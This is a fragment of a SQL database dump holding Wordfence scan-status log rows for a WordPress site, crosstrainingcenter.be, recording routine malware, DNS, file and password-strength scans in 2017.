(118151, 1492320243.887912, 10, 'info', 'SUM_ENDSUCCESS:Fetching core, theme and plugin file signatures from Wordfence'),
(117869, 1492193133.864250, 1, 'info', '-------------------'),
(117870, 1492193133.865086, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 44193 records in 31 seconds.'),
(117150, 1491767415.047326, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(117149, 1491767415.044037, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(118044, 1492280433.209292, 10, 'info', 'SUM_START:Scanning for old themes, plugins and core files'),
(117975, 1492280412.472192, 10, 'info', 'SUM_START:Fetching list of known malware files from Wordfence'),
(117390, 1491943541.977046, 2, 'info', 'Scanned contents of 28 additional files at 26.95 per second'),
(117669, 1492072421.441390, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117237, 1491821943.370195, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(117758, 1492108250.641222, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117748, 1492108248.830718, 2, 'info', 'Scanned contents of 86 additional files at 24.59 per second'),
(117749, 1492108248.831114, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117750, 1492108248.832154, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117751, 1492108249.723140, 2, 'info', 'Done host key check.'),
(117752, 1492108249.724242, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117753, 1492108250.573917, 2, 'info', 'Done URL check.'),
(117754, 1492108250.592078, 2, 'info', 'Done file contents scan'),
(117965, 1492280404.717965, 10, 'info', 'SUM_PAIDONLY:Checking if your IP is generating spam is for paid members only'),
(118098, 1492290934.845552, 10, 'info', 'SUM_START:Scanning files for URLs in Google\'s Safe Browsing List'),
(117021, 1491750756.834994, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(117566, 1492058784.004209, 2, 'info', 'Starting scan of file contents'),
(117837, 1492193129.272119, 2, 'info', 'Scanned contents of 86 additional files at 27.09 per second'),
(117838, 1492193129.275416, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117839, 1492193129.280701, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117840, 1492193130.151500, 2, 'info', 'Done host key check.'),
(117841, 1492193130.152802, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117842, 1492193131.023686, 2, 'info', 'Done URL check.'),
(117843, 1492193131.040231, 2, 'info', 'Done file contents scan'),
(117847, 1492193131.292676, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117848, 1492193131.297776, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(117849, 1492193132.147822, 2, 'info', 'Done host key check.'),
(117850, 1492193132.148298, 2, 'info', 'Done examining URls'),
(117855, 1492193132.253076, 2, 'info', 'Starting password strength check on 3 users.'),
(117405, 1491943546.548388, 2, 'info', 'Done examining URls'),
(117404, 1491943546.547075, 2, 'info', 'Done host key check.'),
(117663, 1492072420.509485, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117664, 1492072421.371898, 2, 'info', 'Done URL check.'),
(117665, 1492072421.392827, 2, 'info', 'Done file contents scan'),
(117977, 1492280413.987367, 10, 'info', 'SUM_START:Comparing core WordPress files against originals in repository'),
(117976, 1492280413.977641, 10, 'info', 'SUM_ENDSUCCESS:Fetching list of known malware files from Wordfence'),
(117174, 1491821921.444855, 2, 'info', 'Found 4 themes'),
(117792, 1492193112.619094, 2, 'info', 'Getting plugin list from WordPress'),
(117173, 1491821921.392377, 2, 'info', 'Getting theme list from WordPress'),
(117172, 1491821921.388689, 2, 'info', 'Found 14 plugins'),
(117793, 1492193112.647026, 2, 'info', 'Found 14 plugins'),
(117794, 1492193112.654556, 2, 'info', 'Getting theme list from WordPress'),
(117491, 1491988779.380584, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117492, 1491988779.381422, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(117493, 1491988780.262521, 2, 'info', 'Done host key check.'),
(117494, 1491988780.262933, 2, 'info', 'Done examining URls'),
(117795, 1492193112.703884, 2, 'info', 'Found 4 themes'),
(118152, 1492320243.894129, 10, 'info', 'SUM_START:Fetching list of known malware files from Wordfence'),
(118153, 1492320245.399776, 10, 'info', 'SUM_ENDSUCCESS:Fetching list of known malware files from Wordfence'),
(118154, 1492320245.409509, 10, 'info', 'SUM_START:Comparing core WordPress files against originals in repository'),
(118155, 1492320245.410023, 10, 'info', 'SUM_DISABLED:Skipping theme scan'),
(118156, 1492320245.410620, 10, 'info', 'SUM_DISABLED:Skipping plugin scan'),
(118157, 1492320245.412914, 10, 'info', 'SUM_START:Scanning for known malware files'),
(118158, 1492320245.840743, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(118159, 1492320246.137939, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(118160, 1492320246.335319, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(118161, 1492320246.541168, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(118225, 1492320262.099076, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(118224, 1492320262.093970, 10, 'info', 'SUM_FINAL:Scan complete. You have 6 new issues to fix. See below.'),
(118223, 1492320262.093607, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 44711 records in 31 seconds.'),
(118222, 1492320262.093119, 1, 'info', '-------------------'),
(118221, 1492320260.841017, 10, 'info', 'SUM_ENDBAD:Scanning for old themes, plugins and core files'),
(117056, 1491750768.450014, 2, 'info', 'Starting password strength check on 3 users.'),
(117718, 1492108234.525514, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(117717, 1492108233.841452, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(117716, 1492108233.493960, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(117715, 1492108233.158861, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(117360, 1491943533.524607, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(117361, 1491943533.741929, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(117362, 1491943534.006668, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(117051, 1491750768.292755, 2, 'info', 'Done examining URls'),
(117050, 1491750768.292253, 2, 'info', 'Done host key check.'),
(117629, 1492072411.242623, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(117627, 1492072410.916567, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(117628, 1492072411.120302, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(118216, 1492320260.816880, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(118215, 1492320260.816320, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(118213, 1492320260.808762, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(118214, 1492320260.815851, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(118217, 1492320260.818970, 10, 'info', 'SUM_ENDOK:Scanning DNS for unauthorized changes'),
(118218, 1492320260.822994, 10, 'info', 'SUM_START:Scanning to check available disk space'),
(118219, 1492320260.825281, 10, 'info', 'SUM_ENDOK:Scanning to check available disk space'),
(118220, 1492320260.829670, 10, 'info', 'SUM_START:Scanning for old themes, plugins and core files'),
(117328, 1491886415.734967, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117783, 1492108252.953006, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(117105, 1491767399.637406, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(117967, 1492280410.042553, 10, 'info', 'SUM_ENDOK:Scanning your site for the HeartBleed vulnerability'),
(117517, 1492058757.726243, 1, 'info', 'Scheduled Wordfence scan starting at Thursday 13th of April 2017 04:45:57 AM'),
(117248, 1491821944.013237, 1, 'info', '-------------------'),
(117637, 1492072412.604319, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(117636, 1492072412.422741, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117249, 1491821944.013644, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 44382 records in 34 seconds.'),
(117251, 1491821944.024332, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(117061, 1491750769.524373, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(117020, 1491750756.264262, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117484, 1491988778.459447, 2, 'info', 'Done host key check.'),
(117485, 1491988778.460677, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117170, 1491821920.355384, 1, 'info', 'Contacting Wordfence to initiate scan'),
(118064, 1492290928.458440, 10, 'info', 'SUM_START:Fetching list of known malware files from Wordfence'),
(117966, 1492280406.732403, 10, 'info', 'SUM_START:Scanning your site for the HeartBleed vulnerability'),
(117486, 1491988779.327511, 2, 'info', 'Done URL check.'),
(117872, 1492193133.881781, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(117737, 1492108243.985362, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(117736, 1492108243.707650, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(117735, 1492108243.325020, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(117734, 1492108243.002350, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(117733, 1492108242.538766, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(117336, 1491886416.197002, 1, 'info', '-------------------'),
(117171, 1491821921.208183, 2, 'info', 'Getting plugin list from WordPress'),
(117746, 1492108247.380509, 2, 'info', 'Scanned contents of 37 additional files at 18.08 per second'),
(117595, 1492058791.427860, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117594, 1492058791.427471, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117593, 1492058791.420475, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(117592, 1492058791.418651, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(117130, 1491767411.803117, 2, 'info', 'Done host key check.'),
(117129, 1491767410.905803, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117128, 1491767410.904724, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117127, 1491767410.904217, 2, 'info', 'Scanned contents of 86 additional files at 25.27 per second'),
(117126, 1491767410.627054, 2, 'info', 'Scanned contents of 65 additional files at 20.80 per second'),
(117125, 1491767409.618263, 2, 'info', 'Scanned contents of 37 additional files at 17.48 per second'),
(117123, 1491767407.501026, 2, 'info', 'Starting scan of file contents'),
(117124, 1491767408.569841, 2, 'info', 'Scanned contents of 27 additional files at 25.28 per second'),
(117873, 1492265511.395840, 1, 'info', 'Scheduled Wordfence scan starting at Saturday 15th of April 2017 02:11:51 PM'),
(117394, 1491943543.904454, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117022, 1491750757.329976, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(117023, 1491750757.935509, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(117883, 1492265523.321940, 2, 'info', 'Getting theme list from WordPress'),
(117882, 1492265523.315458, 2, 'info', 'Found 14 plugins'),
(117881, 1492265523.182227, 2, 'info', 'Getting plugin list from WordPress'),
(117301, 1491886408.760156, 2, 'info', 'Starting scan of file contents'),
(117302, 1491886409.885043, 2, 'info', 'Scanned contents of 28 additional files at 24.90 per second'),
(117242, 1491821943.389909, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117643, 1492072414.029298, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(117240, 1491821943.388706, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117241, 1491821943.389393, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117466, 1491988771.792907, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(117467, 1491988772.195625, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(116985, 1491702321.878463, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(116986, 1491750737.862409, 1, 'info', 'Scheduled Wordfence scan starting at Sunday 9th of April 2017 03:12:17 PM'),
(117389, 1491943540.937646, 2, 'info', 'Starting scan of file contents'),
(117692, 1492072423.952370, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 44034 records in 26 seconds.'),
(117961, 1492280399.891686, 1, 'info', 'Scheduled Wordfence scan starting at Saturday 15th of April 2017 06:19:59 PM'),
(117691, 1492072423.951633, 1, 'info', '-------------------'),
(118063, 1492290928.454161, 10, 'info', 'SUM_ENDSUCCESS:Fetching core, theme and plugin file signatures from Wordfence'),
(117964, 1492280402.714121, 10, 'info', 'SUM_PAIDONLY:Check if your site is being Spamvertized is for paid members only'),
(117962, 1492280400.703725, 10, 'info', 'SUM_PREP:Preparing a new scan.'),
(117963, 1492280400.713547, 10, 'info', 'SUM_PAIDONLY:Remote scan of public facing site only available to paid members'),
(118110, 1492290940.528449, 10, 'info', 'SUM_ENDOK:Scanning files for URLs in Google\'s Safe Browsing List'),
(118105, 1492290939.650664, 2, 'info', 'Done host key check.'),
(118106, 1492290939.652107, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(118107, 1492290940.498560, 2, 'info', 'Done URL check.'),
(118108, 1492290940.523701, 2, 'info', 'Done file contents scan'),
(118109, 1492290940.524867, 10, 'info', 'SUM_ENDOK:Scanning file contents for infections and vulnerabilities'),
(117007, 1491750752.976021, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(118111, 1492290940.533902, 10, 'info', 'SUM_START:Scanning posts for URL\'s in Google\'s Safe Browsing List'),
(118112, 1492290940.569567, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117827, 1492193125.165374, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(117826, 1492193124.940903, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(117988, 1492280416.799039, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far');
INSERT INTO `wp_wfStatus` (`id`, `ctime`, `level`, `type`, `msg`) VALUES
(118053, 1492290917.292862, 10, 'info', 'SUM_PAIDONLY:Check if your site is being Spamvertized is for paid members only'),
(118052, 1492290915.292044, 10, 'info', 'SUM_PAIDONLY:Remote scan of public facing site only available to paid members'),
(118051, 1492290915.280049, 10, 'info', 'SUM_PREP:Preparing a new scan.'),
(118045, 1492280433.227613, 10, 'info', 'SUM_ENDBAD:Scanning for old themes, plugins and core files'),
(118046, 1492280433.390833, 1, 'info', '-------------------'),
(118047, 1492280433.391432, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 44405 records in 33 seconds.'),
(118048, 1492280433.392045, 10, 'info', 'SUM_FINAL:Scan complete. You have 6 new issues to fix. See below.'),
(118049, 1492280433.397104, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(118050, 1492290914.657453, 1, 'info', 'Scheduled Wordfence scan starting at Saturday 15th of April 2017 09:15:14 PM'),
(117729, 1492108239.315303, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117728, 1492108239.007580, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117727, 1492108238.644110, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117726, 1492108237.809250, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(117347, 1491943529.320003, 1, 'info', 'Contacting Wordfence to initiate scan'),
(117348, 1491943530.168182, 2, 'info', 'Getting plugin list from WordPress'),
(117349, 1491943530.188059, 2, 'info', 'Found 14 plugins'),
(117350, 1491943530.191121, 2, 'info', 'Getting theme list from WordPress'),
(117351, 1491943530.224475, 2, 'info', 'Found 4 themes'),
(117725, 1492108237.226177, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117720, 1492108235.216785, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(117721, 1492108235.546115, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117722, 1492108236.118559, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(117723, 1492108236.659095, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(117724, 1492108236.828102, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(117928, 1492265541.054550, 2, 'info', 'Done host key check.'),
(117927, 1492265540.183698, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117926, 1492265540.182679, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117290, 1491886406.225370, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(117925, 1492265540.182239, 2, 'info', 'Scanned contents of 86 additional files at 27.39 per second'),
(117616, 1492072407.479072, 2, 'info', 'Getting theme list from WordPress'),
(117382, 1491943539.790269, 2, 'info', 'Analyzed 2300 files containing 34.89 MB of data so far'),
(117614, 1492072407.463338, 2, 'info', 'Getting plugin list from WordPress'),
(117615, 1492072407.475657, 2, 'info', 'Found 14 plugins'),
(117732, 1492108241.311849, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(117339, 1491886416.202719, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(117397, 1491943545.611815, 2, 'info', 'Done URL check.'),
(117398, 1491943545.630153, 2, 'info', 'Done file contents scan'),
(117396, 1491943544.768045, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117019, 1491750756.080231, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117018, 1491750755.649749, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117138, 1491767412.771382, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(117137, 1491767412.770301, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117581, 1492058789.163767, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(117582, 1492058790.034789, 2, 'info', 'Done host key check.'),
(117583, 1492058790.035270, 2, 'info', 'Done examining URls'),
(117330, 1491886415.735703, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117781, 1492108252.947596, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 43987 records in 34 seconds.'),
(117110, 1491767401.295601, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(117638, 1492072413.054638, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117639, 1492072413.181430, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117640, 1492072413.301697, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(118237, 1497408788.236219, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(117641, 1492072413.473093, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(117642, 1492072413.633690, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(118116, 1492290941.428297, 10, 'info', 'SUM_ENDOK:Scanning posts for URL\'s in Google\'s Safe Browsing List'),
(118113, 1492290940.570501, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(118114, 1492290941.405551, 2, 'info', 'Done host key check.'),
(118115, 1492290941.406196, 2, 'info', 'Done examining URls'),
(117187, 1491821925.997214, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117188, 1491821926.331403, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(117631, 1492072411.549027, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(117630, 1492072411.412284, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117468, 1491988772.455773, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(117469, 1491988772.932955, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(117470, 1491988773.197536, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(117471, 1491988773.498620, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(117472, 1491988773.557609, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(117807, 1492193116.818908, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(117806, 1492193116.603433, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(118233, 1495637412.343315, 2, 'info', 'Checking 5 host keys against Wordfence scanning servers.'),
(118234, 1496619829.233228, 2, 'info', 'Scanning comment with Author: Sarah Hughes Email: lnuawlisx@jdiszkxd.com Source IP: 209.197.6.138 '),
(118235, 1496619829.303494, 2, 'info', 'Checking 4 host keys against Wordfence scanning servers.'),
(117436, 1491988758.152260, 2, 'info', 'Getting plugin list from WordPress'),
(117435, 1491988757.314840, 1, 'info', 'Contacting Wordfence to initiate scan'),
(118142, 1492320235.522892, 10, 'info', 'SUM_PAIDONLY:Checking if your IP is generating spam is for paid members only'),
(118143, 1492320237.532633, 10, 'info', 'SUM_START:Scanning your site for the HeartBleed vulnerability'),
(118144, 1492320241.235454, 10, 'info', 'SUM_ENDOK:Scanning your site for the HeartBleed vulnerability'),
(118145, 1492320241.238419, 1, 'info', 'Contacting Wordfence to initiate scan'),
(116995, 1491750749.411424, 2, 'info', 'Found 14 plugins'),
(117437, 1491988758.179815, 2, 'info', 'Found 14 plugins'),
(116996, 1491750749.419369, 2, 'info', 'Getting theme list from WordPress'),
(117817, 1492193120.502563, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117818, 1492193120.688105, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117439, 1491988758.225525, 2, 'info', 'Found 4 themes'),
(117438, 1491988758.184800, 2, 'info', 'Getting theme list from WordPress'),
(117745, 1492108246.345004, 2, 'info', 'Scanned contents of 27 additional files at 26.69 per second'),
(117813, 1492193118.808720, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(117814, 1492193119.117051, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117153, 1491767415.058257, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117152, 1491767415.057800, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117151, 1491767415.057255, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117314, 1491886413.641605, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117315, 1491886413.643619, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(117316, 1491886414.479449, 2, 'info', 'Done host key check.'),
(117317, 1491886414.480288, 2, 'info', 'Done examining URls'),
(117322, 1491886414.566322, 2, 'info', 'Starting password strength check on 3 users.'),
(117739, 1492108244.431033, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(117738, 1492108244.375951, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(117325, 1491886415.723970, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(117326, 1491886415.724786, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(117327, 1491886415.726248, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(117073, 1491750769.612638, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(117015, 1491750754.836389, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(117014, 1491750754.678042, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(117329, 1491886415.735389, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117017, 1491750755.304840, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(117016, 1491750755.088382, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117835, 1492193128.215132, 2, 'info', 'Scanned contents of 39 additional files at 18.42 per second'),
(117834, 1492193127.213893, 2, 'info', 'Scanned contents of 28 additional files at 25.09 per second'),
(117833, 1492193126.097107, 2, 'info', 'Starting scan of file contents'),
(117118, 1491767406.563189, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(117117, 1491767406.457467, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(117116, 1491767405.956045, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(117115, 1491767405.502892, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(117111, 1491767402.566552, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(117112, 1491767403.882540, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(117113, 1491767404.349534, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(117114, 1491767404.965662, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(117481, 1491988777.612263, 2, 'info', 'Scanned contents of 86 additional files at 27.60 per second'),
(116997, 1491750749.489993, 2, 'info', 'Found 4 themes'),
(117427, 1491943547.796152, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(117380, 1491943539.286604, 2, 'info', 'Analyzed 2100 files containing 33.39 MB of data so far'),
(117973, 1492280410.980024, 10, 'info', 'SUM_START:Fetching core, theme and plugin file signatures from Wordfence'),
(117379, 1491943539.059294, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(117681, 1492072423.827095, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(117971, 1492280410.958729, 2, 'info', 'Getting theme list from WordPress'),
(117972, 1492280410.960949, 2, 'info', 'Found 4 themes'),
(117970, 1492280410.953797, 2, 'info', 'Found 14 plugins'),
(117677, 1492072422.657611, 2, 'info', 'Starting password strength check on 3 users.'),
(117969, 1492280410.923591, 2, 'info', 'Getting plugin list from WordPress'),
(117968, 1492280410.048818, 1, 'info', 'Contacting Wordfence to initiate scan'),
(117680, 1492072423.825910, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(118207, 1492320259.647722, 10, 'info', 'SUM_START:Scanning for weak passwords'),
(118206, 1492320259.643344, 10, 'info', 'SUM_ENDOK:Scanning comments for URL\'s in Google\'s Safe Browsing List'),
(117131, 1491767411.804259, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117393, 1491943543.903259, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117392, 1491943543.902830, 2, 'info', 'Scanned contents of 85 additional files at 28.67 per second'),
(117234, 1491821942.246630, 2, 'info', 'Starting password strength check on 3 users.'),
(117670, 1492072421.443399, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(117671, 1492072422.563726, 2, 'info', 'Done host key check.'),
(117672, 1492072422.564498, 2, 'info', 'Done examining URls'),
(117974, 1492280412.466574, 10, 'info', 'SUM_ENDSUCCESS:Fetching core, theme and plugin file signatures from Wordfence'),
(117203, 1491821933.730908, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(117201, 1491821933.146682, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(117202, 1491821933.474340, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(117459, 1491988766.982472, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(117458, 1491988766.401645, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117457, 1491988765.819099, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(117456, 1491988765.578446, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(117455, 1491988764.924772, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(117454, 1491988764.314949, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117453, 1491988763.933457, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(117449, 1491988761.975355, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(117450, 1491988762.464391, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(117451, 1491988763.127799, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(117452, 1491988763.547743, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117060, 1491750769.513627, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(117719, 1492108234.947492, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117059, 1491750769.512768, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(118043, 1492280433.200624, 10, 'info', 'SUM_ENDOK:Scanning to check available disk space'),
(118099, 1492290935.748904, 2, 'info', 'Starting scan of file contents'),
(118100, 1492290936.816577, 2, 'info', 'Scanned contents of 28 additional files at 26.24 per second'),
(118101, 1492290937.826494, 2, 'info', 'Scanned contents of 40 additional files at 19.26 per second'),
(118102, 1492290938.772616, 2, 'info', 'Scanned contents of 86 additional files at 28.45 per second'),
(117634, 1492072412.103961, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(118093, 1492290934.774034, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
